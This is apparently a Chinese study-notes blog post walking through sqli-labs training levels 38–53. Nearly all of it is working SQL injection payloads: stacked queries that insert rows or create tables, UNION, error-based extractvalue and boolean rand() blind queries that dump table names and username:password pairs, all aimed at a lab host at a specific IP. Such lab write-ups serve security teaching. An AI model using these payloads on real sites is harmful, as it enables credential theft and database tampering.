续上,开门见山


堆叠注入,实际上就构成了两条SQL语句

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+    //未报错

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3,4 --+     //报错

查询出有三个字段,

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


同上题,只不过没有单引号

暴位置

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


同上题,只不过加上单引号和右括号 ‘)

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


同39一样,只不过错误没有回显

暴位置

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


login_user=admin&login_password=c';create table less42 like users #&mysubmit=Login

登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

同样的利用此方式可以更新和插入数据项。


同上,只不过多了一个c’); 
payload-password: c’);create table less43 like users#


同上42,只是没有回显信息 
payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#


同上43,只是没有回显信息 
payload-password:c’);create table less43 like users#


尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

http://43.247.91.228:84/Less-46/?sort=1 asc

http://43.247.91.228:84/Less-46/?sort=1 desc

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://43.247.91.228:84/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。

③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入:

爆表:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显示未完全:
http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+


同上,只不过变成字符型了,多一个单引号

暴表:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显示未完全:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+


本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。

猜解库名:

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='s')

正确的

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='d')

错误的

猜解表

http://43.247.91.228:84/Less-48/?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')

猜解列

http://43.247.91.228:84/Less-48/?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')

猜解值

http://43.247.91.228:84/Less-48/?sort=rand(left((select username from users limit 0,1),1)='d')

也可以用And后的延时注入


本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入


mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条

http://43.247.91.228:84/Less-50/?sort=1;create table less50 like users --+

进行插入和修改操作。


同less50,只不过是字符型 
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条


同上50,只不过不显示错误

payload:?sort=1;create%20table%20less50%20like%20users


同上51,只不过不显示错误

payload:?sort=1%27;create%20table%20less53%20like%20users–+


  感谢看雪提供的学习平台

未完待续...

sqli_labs学习笔记(一)Less-38~Less-53的更多相关文章

  1. sqli_labs学习笔记(一)Less-54~Less-65

    续上,开门见山 暴库: http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+ challenges 爆表: h ...

  2. sqli_labs学习笔记(一)Less-21~Less-37

    续上,开门见山 Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入) 登录后页面 圈出来的地方显 ...

  3. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  4. 《从零开始学Swift》学习笔记(Day 38)——构造函数与存储属性初始化

    原创文章,欢迎转载.转载请注明:关东升的博客 构造函数的主要作用是初始化实例,其中包括:初始化存储属性和其它的初始化.在Rectangle类或结构体中,如果在构造函数中初始化存储属性width和hei ...

  5. Effective STL 学习笔记 Item 38 : Design functor classes for pass-by-value

    Effective STL 学习笔记 Item 38 : Design functor classes for pass-by-value */--> div.org-src-container ...

  6. Flutter学习笔记(38)--自定义控件之组合控件

    如需转载,请注明出处:Flutter学习笔记(38)--自定义控件之组合控件 在开始之前想先写点其他的,emm...就是今天在学习到自定义控件的时候,由于自定义控件这块一直是我的短板,无论是Andro ...

  7. [原创]java WEB学习笔记53:Struts2学习之路---前奏:使用 Filter 作为控制器的 MVC

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

  8. [原创]java WEB学习笔记38:EL 中的 11个 隐含对象 详解

    本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...

  9. Linux 学习笔记

    Linux学习笔记 请切换web视图查看,表格比较大,方法:视图>>web板式视图 博客园不能粘贴图片吗 http://wenku.baidu.com/view/bda1c3067fd53 ...

随机推荐

  1. ES6类的继承

    ES6 引入了关键字class来定义一个类,constructor是构造方法,this代表实例对象. constructor相当于python的init 而this 则相当于self 类之间通过ext ...

  2. jenkins+Git+Gitlab+Ansible实现持续集成自动化部署静态网站(二)

    引言:首先我们可以实现一键部署网站,但在实际生产环境网站部署完成之后,我们的开发隔三差五要修改下网站的内容,难道都要我们运维手动执行命令吗?没有一种方法使得开发人员修改完代码自己测试,部署上线呢,那这 ...

  3. filter 开发

    在filter中可以得到代表用户请求和响应的request.response对象,因此在编程中可以使用Decorator(装饰器)模式对request.response对象进行包装,再把包装对象传给目 ...

  4. $NOIp$提高组做题记录

    对了我在这里必须讲一个非常重要的事情,就是前天也就是$2019.8.21$的傍晚,我决定重新做人了$!!$ 其实之前没怎么做$Noip$题,那就从现在开始叭

  5. Win10系统中搭建服务器的方法

    1.我的电脑->找到并点击“控制面板”->点击“程序”->点击“启用或关闭Windows功能”2.按如下图方式选中复选框   服务器批量管理软件 3.点击确定,打开iis管理器(右键 ...

  6. Kafka原理及应用(一)

    一. Kafka简介 (1) 消息中间件的两种实现模式 JMS (Java Message Service) 对消息的发送和接收定义了两种模式: 点对点模式:消息的生产和消费者均只有一个,消息由生产者 ...

  7. 处理样本不平衡的LOSS—Focal Loss

    0 前言 Focal Loss是为了处理样本不平衡问题而提出的,经时间验证,在多种任务上,效果还是不错的.在理解Focal Loss前,需要先深刻理一下交叉熵损失,和带权重的交叉熵损失.然后我们从样本 ...

  8. Lyft Level 5 Challenge 2018 - Final Round (Open Div. 2) (前三题题解)

    这场比赛好毒瘤哇,看第四题好像是中国人出的,怕不是dllxl出的. 第四道什么鬼,互动题不说,花了四十五分钟看懂题目,都想砸电脑了.然后发现不会,互动题从来没做过. 不过这次新号上蓝名了(我才不告诉你 ...

  9. 钱包开发经验分享:ETH篇

    # 钱包开发经验分享:ETH篇 [TOC] ## 开发前的准备 > 工欲善其事,必先利其器 一路开发过来,积累了一些钱包的开发利器和网站,与大家分享一下.这些东西在这行开发过的人都知道,只是给行 ...

  10. 小小知识点(三十一)MU-MIMO和SU-MIMO分别表示什么?

    MU-MIMO是“Multi-User Multiple-InputMultiple-Output”的缩写,直译为“多用户多入多出技术”. SU-MIMO是“Single-User Multiple- ...